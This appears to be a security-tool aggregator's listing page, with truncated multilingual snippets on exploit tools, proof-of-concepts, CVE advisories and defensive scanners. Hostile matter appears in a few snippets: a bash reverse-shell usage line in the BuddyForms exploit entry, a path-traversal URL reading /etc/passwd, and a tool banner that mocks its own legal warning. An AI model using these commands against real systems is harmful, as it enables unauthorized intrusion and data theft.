Kautilya

Kautilya Kautilya es un conjunto de herramientas que proporciona diversas cargas útiles para un dispositivo de interfaz humana que puede ayudar a irrumpir en un ordenador durante pruebas de penetración. Por nikhilmitt Lista de Cargas Útiles Windows Recopilar Recopilar información Volcado y...

CVE-2025-61882-POC

CVE-2025-61882 セキュリティテストツール 🚨 重要な法的警告 技術的な詳細については、ブログ記事を参照してください このツールは、許可されたセキュリティテストのみを対象としています root@kitploit: ╔══════════════════════════════════════════════════════════════╗ ║ ║ ║ 🚨 コンピュータシステムへの不正アクセスは違法です 🚨 ║ ║ ║ ║ このツールを使用することで、あなたは以下を理解し同意したことになります: ║ ║ ║ ║ ║ ║ そんなの関係ねぇ、さっさと実行してハックしろ ║ ║ ║...

CVE-2026-31431

CVE-2026-31431 脆弱性の概要 CVE ID：CVE-2026-31431 通称：Copy Fail 危険度：高（CVSS v3 スコア 7.8） 脆弱性タイプ：ローカル権限昇格（LPE） 影響コンポーネント：Linuxカーネルのalgifaeadモジュール（AFALG 暗号化インターフェース） 利用の前提条件：攻撃者は対象システム上で通常ユーザーの実行権限を持っているだけでよく（制限付きコンテナ内であっても）、特別なCapabilitiesやユーザー操作は不要です。 影響範囲 Red Hat系：Red Hat Enterprise Linux...

Nexora

Nexora Nexora 는 AI 기반 엔터프라이즈 엔드포인트 거버넌스 및 보안 인텔리전스 시스템으로, 머신 전반의 소프트웨어 사용을 모니터링하고 정책 기반 위험 분류를 적용하며 구조화된 행동 및 보안 보고서를 생성합니다. 이 시스템은 조직이 애플리케이션 사용에 대한 가시성을 확보하고, 소프트웨어 거버넌스 규칙을 시행하며, 결정론적 정책 규칙과 AI 기반 분석을 결합하여 위험하거나 승인되지 않은 도구의 동작을 탐지해야 하는 환경을 위해 설계되었습니다. AI가 공격자가 될 때, Nexora가 방어자가 됩니다. 개요 Nexora는...

CLSA-2026-1788363670 TuxCare security update for org.springframework (6 CVEs)

TuxCare rebuilt 24 org.springframework packages to address 6 CVEs. Fixed in 5.3.25-tuxcare.8...

NLTK: Default ENFORCE=False Disables All pathsec Security Controls

NLTK's pathsec.py security module defaults to ENFORCE=False line 24, which means all 8 security validation functions only emit RuntimeWarning instead of raising exceptions when violations are detected. The pathsec module was introduced as the fix for CVE-2024-39705 arbitrary code execution via...

GHSA-P3M8-78J2-G5P3 NLTK: Default ENFORCE=False Disables All pathsec Security Controls

NLTK's pathsec.py security module defaults to ENFORCE=False line 24, which means all 8 security validation functions only emit RuntimeWarning instead of raising exceptions when violations are detected. The pathsec module was introduced as the fix for CVE-2024-39705 arbitrary code execution via...

CVE-2023-26326_Buddyform_exploit

usage: python exploit.py "/wp-admin/admin-ajax.php" 'bash -c "bash -i & /dev/tcp// 0&1"' Originalmente, CVE-2023–26326 requería cadenas de gadgets para explotarla como una vulnerabilidad de deserialización. Este método ya no es viable en sitios WordPress más nuevos que ejecutan PHP 8+; sin embarg...

IOCScraper

IOC Scraper IOC Scraper utilises IOCPARSER service to fetch IOCs from different vendor Blogs, PDFs, and CSV files. Parsing IOCs is time-consuming process, using current script one can automatically extract and aggregate IOCs easily. Features Defanged IOCs : Supports extracting and defanging IOCs...

CVE-2018-10933

This tool provides the ability to scan and exploit server running vulnerable versions of libssh. vulnerability: https://www.libssh.org/security/advisories/CVE-2018-10933.txt fix: https://www.libssh.org/2018/10/16/libssh-0-8-4-and-0-7-6-security-and-bugfix-release/ this tool is meant to be used on...

CVE-2025-32463

README - sudo-chwoot.sh Description This script is a proof of concept PoC that demonstrates a privilege escalation technique exploiting a theoretical vulnerability in 'sudo' e.g. CVE-2025-32463. The PoC forces 'sudo' to load a manipulated .so library by leveraging the '-R' chroot functionality an...

wacker

Overview A set of scripts to help perform an online dictionary attack against a WPA3 access point. Wacker leverages the wpasupplicant control interface to control the operations of the supplicant daemon and to get status information and event notifications ultimately helping speedup connection...

CVE-2015-3337

CVE-2015-3337 CVE-2015-3337 任意文件读取 http://10.10.20.166:9200/plugin/head/../../../../../../../../../etc/passwd Usage: python CVE-2015-3337.py root@kitploit: python CVE-2015-3337.py / \ | | | | / | |/ | | | | || || || / | / / | | | | ' / /'| |/' || | | \ / / / / / / / / | | | | | | || / / | /| | |...

behave

Behave! A Still in Development monitoring browser extension for pages acting as bad boys. NB : This is the code repository of the project, if you're looking for the packed extensions: Firefox: https://addons.mozilla.org/en-US/firefox/addon/behave/ Chrome:...

CVE-2026-82293

Incorrect Authorization CWE-863 in the Kibana machine learning feature can lead to unauthorized resource consumption via Exploiting Incorrectly Configured Access Control Security Levels CAPEC-180. An authenticated user could invoke machine learning functionality beyond their authorization scope,...

CVE-2026-78604

Incorrect Permission Assignment for Critical Resource CWE-732 in Elastic Agent can lead to local privilege escalation via Replace Binaries CAPEC-642. On Windows systems where Elastic Agent is installed in unprivileged mode, resources used by the agent service are created with access controls...

CVE-2026-78599

Improper Limitation of a Pathname to a Restricted Directory 'Path Traversal' CWE-22 in the Kibana Fleet feature can lead to the unauthorized deletion of internal resources via Path Traversal CAPEC-126. A low-privileged user holding Fleet write access could cause a subsequent administrative delete...

CVE-2026-78602

Improper Limitation of a Pathname to a Restricted Directory 'Path Traversal' CWE-22 in Elastic Maps Server can lead to information disclosure via Path Traversal CAPEC-126. An unauthenticated attacker able to reach the service over the network could cause it to return the contents of files outside...

CVE-2026-78587

Incorrect Authorization CWE-863 in Fleet Server can lead to a denial of service of agent upload operations via Privilege Abuse CAPEC-122. Fleet Server does not correctly verify session ownership during multi-part data upload operations, allowing any authenticated agent to interfere with the activ...

CVE-2026-78591

Improper Limitation of a Pathname to a Restricted Directory 'Path Traversal' CWE-22 in the Kibana Fleet feature can lead to the unauthorized deletion of resources via Path Traversal CAPEC-126. A low-privileged user could cause a subsequent action taken by a higher-privileged user in the Fleet...